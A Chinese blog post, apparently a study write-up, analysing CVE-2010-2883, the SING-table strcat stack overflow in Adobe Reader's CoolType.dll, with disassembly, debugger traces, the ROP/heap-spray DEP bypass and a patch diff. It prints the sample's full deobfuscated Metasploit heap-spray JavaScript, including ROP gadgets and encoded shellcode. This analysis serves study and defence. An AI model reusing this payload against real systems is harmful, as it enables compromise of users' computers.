CVE-2010-2883:TTF字体SING表栈溢出漏洞

参考学习于:《漏洞战争》

这个漏洞曾用于一起APT攻击案例——LuckyCat攻击

基于字符串定位的漏洞分析方法

漏洞在CoolType.dll文件中,ida打开字符串窗口,双击进去,解引用,第二个

blob.png

看看代码

.text:0803DCF9                 push    ebp
.text:0803DCFA                 sub     esp, 104h  ;分配栈空间0x104
.text:0803DD00                 lea     ebp, [esp-4] ;获取栈顶-4作为ebp的值
.text:0803DD04                 mov     eax, ___security_cookie
.text:0803DD09                 xor     eax, ebp
.text:0803DD0B                 mov     [ebp+108h+var_4], eax
.text:0803DD11                 push    4Ch
.text:0803DD13                 mov     eax, offset sub_8184A54
.text:0803DD18                 call    __EH_prolog3_catch
.text:0803DD1D                 mov     eax, [ebp+108h+arg_C]
.text:0803DD23                 mov     edi, [ebp+108h+arg_0]
.text:0803DD29                 mov     ebx, [ebp+108h+arg_4]
.text:0803DD2F                 mov     [ebp+108h+var_130], edi
.text:0803DD32                 mov     [ebp+108h+var_138], eax
.text:0803DD35                 call    sub_804172C
.text:0803DD3A                 xor     esi, esi
.text:0803DD3C                 cmp     dword ptr [edi+8], 3
.text:0803DD40                 mov     [ebp+108h+var_10C], esi
.text:0803DD43                 jz      loc_803DF00
.text:0803DD49                 mov     [ebp+108h+var_124], esi
.text:0803DD4C                 mov     [ebp+108h+var_120], esi
.text:0803DD4F                 cmp     dword ptr [edi+0Ch], 1
.text:0803DD53                 mov     byte ptr [ebp+108h+var_10C], 1
.text:0803DD57                 jnz     loc_803DEA9
.text:0803DD5D                 push    offset aName    ; "name"
.text:0803DD62                 push    edi             ; int
.text:0803DD63                 lea     ecx, [ebp+108h+var_124]
.text:0803DD66                 mov     [ebp+108h+var_119], 0
.text:0803DD6A                 call    sub_80217D7
.text:0803DD6F                 cmp     [ebp+108h+var_124], esi
.text:0803DD72                 jnz     short loc_803DDDD
.text:0803DD74                 push    offset aSing    ; "SING"
.text:0803DD79                 push    edi             ; int
.text:0803DD7A                 lea     ecx, [ebp+108h+var_12C] ;这个是this指针,作者说指向sing表入口
.text:0803DD7D                 call    sub_8021B06      ;里面好像是将"SING"跟一些字符串比较,做不同的处理
.text:0803DD82                 mov     eax, [ebp+108h+var_12C]
.text:0803DD85                 cmp     eax, esi   ;调用完上面的函数var_12C已经不为空了
.text:0803DD87                 mov     byte ptr [ebp+108h+var_10C], 2
.text:0803DD8B                 jz      short loc_803DDC4 ;比较结果不为0,不跳
.text:0803DD8D                 mov     ecx, [eax] ;获取sing表的第一个4字节,即字体资源版本号(00 01 00 00)
.text:0803DD8F                 and     ecx, 0FFFFh ;and的结果为0
.text:0803DD95                 jz      short loc_803DD9F ;所以这里跳转
.text:0803DD97                 cmp     ecx, 100h
.text:0803DD9D                 jnz     short loc_803DDC0 ;字节逆序是版本是100,cmp结果是0
.text:0803DD9F
.text:0803DD9F loc_803DD9F:                            ; CODE XREF: sub_803DCF9+9Cj
.text:0803DD9F                 add     eax, 10h         ;偏移0x10字节,为uniqueName域
.text:0803DDA2                 push    eax             ;  源地址是指向uniqueName域的指针
.text:0803DDA3                 lea     eax, [ebp+108h+var_108]
.text:0803DDA6                 push    eax             ;  目标地址是栈上
.text:0803DDA7                 mov     [ebp+108h+var_108], 0
.text:0803DDAB                 call    strcat           ;将uniqueName域连接到栈上,造成栈溢出

我们看看PDF样板里面的TTF文件

下面是TableEntry结构

第一个是标记"SING",第二个是校验和"0xD9BCC8B5"

第三个是相对文件的偏移量:0x11c,最后一个是数据长度:0x1ddf

blob.png

那其实这个相当于SING表的头啊,那我们去0x11c找sing表

我们看到了版本,那再偏移0x10就是uniqueName域,共28字节

blob.png

我们从汇编看到会从 58 e0 8d ad 8a …….复制到栈上,直到遇到NULL字符串终止符

那我们在strcat前面下个断点

blob.png

可以看到样本的字体数据已经读入内存

blob.png

下面可知道是将uniqueName复制到ebp所执行的栈上

blob.png

对栈上的这段数据设置内存访问断点

blob.png

第一个断下来读取的是开头的字节

blob.png

按了好久f9到了这,读取第一个4字节。不断按f9,发现是向后4字节4字节地读取

blob.png

跟着将栈上的数据复制到一个46开头的地方

blob.png

跟着有个东西写到栈上

blob.png

之后才来到了作者那里,读取了栈上的数据,call

blob.png

之后我们f7跟进,这是rop1

leave就是相当于mov esp,ebp,     pop ebp

blob.png

这里是返回到样本uniqueName的第3个4字节(那个箭头我画错了,看看esp,再看看栈就知道)

blob.png

着我们就来到了第二个rop指令

通过pop esp,我们就成功将esp设置为0x0c0c0c0c了,经典的heap spray啊!

blob.png

我们反过来看看样本,就是关键地址的位置,下面的是call [eax],带我们去rop1

blob.png

通过rop1,我们的ret到下面第一个框,从而去到rop2,成功通过rop2的pop esp将esp设置0x0c0c0c0c

blob.png

由于这两个地址都在icucnv36.dll,因为这两个地址在adobe reader个版本上的地址是不变的,所以兼容性和稳定性强

pdf支持javascript脚本,其实在这以前,已经heap spray了,我们看看解密后的js代码

msf的变量应该是使用了随机字符串的,但能看出来是heap spray

var PVtXNSbsBDH = unescape;
var EolKWFK = PVtXNSbsBDH( '%u4141%u4141%u63a5%u4a80%u0000%u4a8a%u2196%u4a80%u1f90%u4a80%u903c%u4a84%ub692%u4a80%u1064%u4a80%u22c8%u4a85%u0000%u1000%u0000%u0000%u0000%u0000%u0002%u0000%u0102%u0000%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9038%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0000%u0000%u0040%u0000%u0000%u0000%u0000%u0001%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9030%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0022%u0000%u0000%u0000%u0000%u0000%u0000%u0001%u63a5%u4a80%u0004%u4a8a%u2196%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0030%u0000%ua8a6%u4a80%u1f90%u4a80%u0004%u4a8a%ua7d8%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0020%u0000%ua8a6%u4a80%u63a5%u4a80%u1064%u4a80%uaedc%u4a80%u1f90%u4a80%u0034%u0000%ud585%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u000a%u0000%ua8a6%u4a80%u1f90%u4a80%u9170%u4a84%ub692%u4a80%uffff%uffff%uffff%uffff%uffff%uffff%u1000%u0000%ucfd9%u8dbf%uc68a%ud9b0%u2474%u58f4%uc929%u49b1%ue883%u31fc%u1578%u7803%u6f15%u3a7f%ue658%uc380%u9899%u2609%u8aa8%u226e%u1a99%u66e4%ud112%u92a8%u97a1%u9464%u1d02%u9b53%u9093%u775b%ub357%u8a27%u1384%u4519%u52d9%ub85e%u0612%ub637%ub681%u8a3c%ub719%u8092%ucf22%u5797%u65d6%u8799%uf247%u3fd1%u5ce3%u3ec2%ubf20%u083e%u0b4d%u8bb4%u4287%uba35%u08e7%u7208%u51ea%ub54c%u2415%uc5a6%u3ea8%ub77d%ucb76%u1f60%u6bfc%ua141%uedd1%uad02%u7a9e%ub24c%uaf21%ucee6%u4eaa%u4729%u74e8%u03ed%u15aa%ue9b4%u2a1d%u56a6%u8ec1%u75ac%ua816%u11ee%u86db%ue210%u9173%ud063%u09dc%u58ec%u9794%u9feb%u6f8f%u5e63%u8f30%ua5ad%udf64%u0cc5%ub405%ub015%u1ad0%u1e46%uda8b%ude36%ub27b%ud15c%ua2a4%u3b5e%u48cd%uaca4%u8cf8%u23a4%u8e95%u2aa8%u0739%u264e%u41d1%udfd8%uc848%u7e92%uc794%u41de%ueb1e%u0f1f%u86d7%uf833%udd17%uaf6e%uc828%u5005%uf6bd%u078f%uf429%u60f6%u07f6%ufadd%u9d3f%u949e%u713f%u651f%u1b16%u0d1f%u7fce%u284c%uaa11%ue1e0%u5484%u5551%u3c0e%u805f%ue378%ue7a0%ud878%uce76%u28fe%u22fd%u41c3' );
var JugRVXrvaQFK = PVtXNSbsBDH( "%" + "u" + "0" + "c" + "0" + "c" + "%u" + "0" + "c" + "0" + "c" );
while (JugRVXrvaQFK.length + 20 + 8 < 65536) JugRVXrvaQFK+=JugRVXrvaQFK;
dDBGklMTnOsBpfJUpAasbVQDSwFtDtFjORYFvWHwmdRCAJzEj = JugRVXrvaQFK.substring(0, (0x0c0c-0x24)/2);
dDBGklMTnOsBpfJUpAasbVQDSwFtDtFjORYFvWHwmdRCAJzEj += EolKWFK;
dDBGklMTnOsBpfJUpAasbVQDSwFtDtFjORYFvWHwmdRCAJzEj += JugRVXrvaQFK;
jNkWdKUuDEKJZKHqagzYNJCdeNWgKoyaXIpylAATweCD = dDBGklMTnOsBpfJUpAasbVQDSwFtDtFjORYFvWHwmdRCAJzEj.substring(0, 65536/2);
while(jNkWdKUuDEKJZKHqagzYNJCdeNWgKoyaXIpylAATweCD.length < 0x80000) jNkWdKUuDEKJZKHqagzYNJCdeNWgKoyaXIpylAATweCD += jNkWdKUuDEKJZKHqagzYNJCdeNWgKoyaXIpylAATweCD;
MNPAvhsNTWhroaInAyrkSNVnaugrVjtWkeVpBGcRomrcMrEYpNPNoxuQmXDmdSiCmEpqsgaslO = jNkWdKUuDEKJZKHqagzYNJCdeNWgKoyaXIpylAATweCD.substring(0, 0x80000 - (0x1020-0x08) / 2);
var rYhuvzhnDOgwjmuwogDFLaqahCPBilftAtuBZIReEWBueZSyVCxpIHsNulycmb = new Array();
for (rQpazhpwmkoeBLCKCySORqPxKrdIwovXOnFknTABvarlNMNPlMZwiYemeaDLAvcuFAlmCZZTSkOqorail=0;rQpazhpwmkoeBLCKCySORqPxKrdIwovXOnFknTABvarlNMNPlMZwiYemeaDLAvcuFAlmCZZTSkOqorail<0x1f0;rQpazhpwmkoeBLCKCySORqPxKrdIwovXOnFknTABvarlNMNPlMZwiYemeaDLAvcuFAlmCZZTSkOqorail++) rYhuvzhnDOgwjmuwogDFLaqahCPBilftAtuBZIReEWBueZSyVCxpIHsNulycmb[rQpazhpwmkoeBLCKCySORqPxKrdIwovXOnFknTABvarlNMNPlMZwiYemeaDLAvcuFAlmCZZTSkOqorail]=MNPAvhsNTWhroaInAyrkSNVnaugrVjtWkeVpBGcRomrcMrEYpNPNoxuQmXDmdSiCmEpqsgaslO+"s";

接下来就返回到这了

blob.png

rop3,将ecx设置为0x4A8A0000

blob.png

继续,想ecx指向的地方(0x4A8A0000)写入0x12e6ac,还是那个经典的地址

blob.png

继续,将eax设置为

blob.png

之后就返回到调用CreateFileAblob.png

我们来看看参数,iso88591的文件

blob.png

确实来到这blob.png

继续单步,很多rop

下面设置mapping的参数吧

blob.png

手法相似

blob.png我们也看到了刚才被and后的第一个参数

blob.png

跟着

blob.png

之后就memcpy到MapViewOfFile的返回地址0x.3cc0000

blob.png

之后就return到这了执行了,这样我们将shellcode复制到这个地址再执行就绕过DEP了

blob.png

shellcode部分

blob.png

在windows目录创建了一个文件

blob.png

这个不知道是不是本来就有了

blob.png

下面好像给谁发HTTP响应似的

blob.png

最后在这里退出了,不知道shellcode做了啥

blob.png

由于在我的机器上shellcode没法执行成功检测不到恶意行为

blob.png

wireshark也监测不到

blob.png

其实作者还是没说从strcat覆盖到第一个rop到底发生了什么

作者只是将样本走一遍,

溢出覆盖了什么关键位置,从覆盖到第一个rop到底发生了什么,我们尝试找一下

我们在下面的函数的前面第一句汇编下个断点

blob.png

跟随

blob.png是调用了一个call [eax],继续在下面汇编所在函数前面下断点

blob.png

继续

blob.pngblob.png

已经返回到sub_803DCF9函数内了

blob.png

后来发现这样也发现不了什么

上面只不过是找到了函数调用的轨迹而已

还是看看eax怎么来的应该好一点

首先是来源于[edi+0x3c]

blob.png

动态调试也确定了

blob.png

结合动态调试,通过回溯,edi为函数传进来的第一个参数

blob.png

再找到上一层函数,就是这里传进来的

blob.png

其实在strcat复制之前,未来的edi,在已经指向了0x0012e6ac了

blob.png

而还没strcat之前,0x0012e6ac这里指向0x080833EF

blob.png

再清晰一点就下个写入断点

blob.png

没错就是写入那个rop的地址

blob.png

那么怎么触发的漏洞的就清楚啦

那么这个位置又是啥,后来发现下硬件断点好点,速度快

blob.png

原来是在这里写入的

blob.png

ida看看,原始是this指针指向的地方(偏移为8的地方)

blob.png

具体这个对象是什么对象的区域就不确定了,应该是字体对象?

漏洞修复

想知道漏洞是怎么修复的,下载个新的安装,对比一下,看看adobe是怎么修复的

首先定位大漏洞dll的代码处,同时左边就banging自动定位了

blob.png

bindiff已经帮我们显示了,原来是用那个函数替换了strcat

blob.png

我们去哪个函数看看

blob.png

跟进

blob.png就是对长度写死了,还有使用了安全的strncat,我发现其实这个函数在patch了的dll中使用了还挺多的啊

blob.png

漏洞总结

漏洞是由于将uniqueName域链接到局部变量的时候,没有检查其长度,导致覆盖了栈上的重要变量,具体就不知道是哪个对象的空间了,从而导致可以利用漏洞,利用rop绕过dep,至于具体的溢出覆盖后,怎么一步步到达第一个rop的执行流程可以查看“其实作者还是没说溢出利用的原理是什么”部分

打赏作者
喜欢本博客,打赏让博客永久运行,多少你说了算

您的支持将鼓励我们继续创作!

[微信] 扫描二维码打赏

[支付宝] 扫描二维码打赏

发表评论

电子邮件地址不会被公开。 必填项已用*标注